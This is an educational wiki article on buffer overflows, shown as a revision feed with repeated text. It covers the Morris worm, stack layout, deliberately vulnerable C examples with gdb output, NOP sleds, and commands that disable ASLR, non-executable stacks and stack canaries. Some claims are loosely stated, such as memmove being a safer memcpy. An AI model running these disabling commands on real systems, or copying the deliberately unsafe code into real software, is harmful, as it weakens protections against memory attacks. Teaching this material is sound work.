In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a &#039;&#039;&#039;function returns control&#039;&#039;&#039; to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the &#039;&#039;&#039;return address&#039;&#039;&#039; (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may &#039;&#039;&#039;overwrite the return pointer to redirect the flow of execution&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| scanf() || sscanf()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT/Embedded Devices ===&lt;br /&gt;
&amp;quot;The constrained resources of embedded systems leads to the predominant use of the C language. This, along with the tight processing requirements, leave associated devices open to BOF based attacks.&amp;quot; &amp;lt;ref name=””&amp;gt; G. Mullen and L. Meany, &amp;quot;Assessment of Buffer Overflow Based Attacks On an IoT Operating System,&amp;quot; 2019 Global IoT Summit (GIoTS), Aarhus, Denmark, 2019, pp. 1-6, doi: 10.1109/GIOTS.2019.8766434.&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dangers ==&lt;br /&gt;
&lt;br /&gt;
Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.&lt;br /&gt;
&lt;br /&gt;
Summed up these four are the main dangers:&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt; &lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
&lt;br /&gt;
int array[5] = {1 ,2 ,3 ,4 ,5}; &lt;br /&gt;
printf(&amp;quot;%d\n&amp;quot;, array[5]);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
In this section, a simple Out-of-bounds write vulnerability will be examined. Although this particular example showcases a stack-based buffer overflow, we will use it to introduce the general concept of a over-write vulnerability and delve into specifically exploiting the stack&#039;s mechanics and control structures in the later section &amp;quot;Stack-based Buffer Overflow&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
&lt;br /&gt;
    char B[3] = &amp;quot;03&amp;quot;; // gets higher address on stack&lt;br /&gt;
    char A[8] = &amp;quot;0000000&amp;quot;; // gets lower address on stack&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Before overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    strcpy(A, &amp;quot;excessive&amp;quot;); // dangerous &lt;br /&gt;
    printf(&amp;quot;After overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Console output running the program (bash).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Before overflow: A = 0000000, B = 03&lt;br /&gt;
After overflow: A = excessive, B = e&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inspection of memory before the overflow (gdb). &lt;br /&gt;
The memory addresses on the left are the locations of the two buffers.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc85:  0x30  0x30  0x30  0x30  0x30  0x30  0x30  0x00&lt;br /&gt;
0xffffcc8d:  0x30  0x33  0x00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inspection of memory after the overflow (gdb).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc85:  0x65  0x78  0x63  0x65  0x73  0x73  0x69  0x76&lt;br /&gt;
0xffffcc8d:  0x65  0x00  0x00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. &amp;lt;ref name=”AR1”&amp;gt;Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called &amp;quot;stack smashing&amp;quot;. It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.&lt;br /&gt;
&lt;br /&gt;
Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this &amp;quot;dangling pointer&amp;quot; to gain unauthorized access to the system or leak information meant to be kept confidential. &amp;lt;ref name=&amp;quot;UAF&amp;quot;&amp;gt;Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]&lt;br /&gt;
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16988</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16988"/>
		<updated>2024-12-11T17:01:10Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Buffer Over-Write */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle &amp;lt;ref name=&amp;quot;BOB&amp;quot;&amp;gt;What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a &#039;&#039;&#039;function returns control&#039;&#039;&#039; to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the &#039;&#039;&#039;return address&#039;&#039;&#039; (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
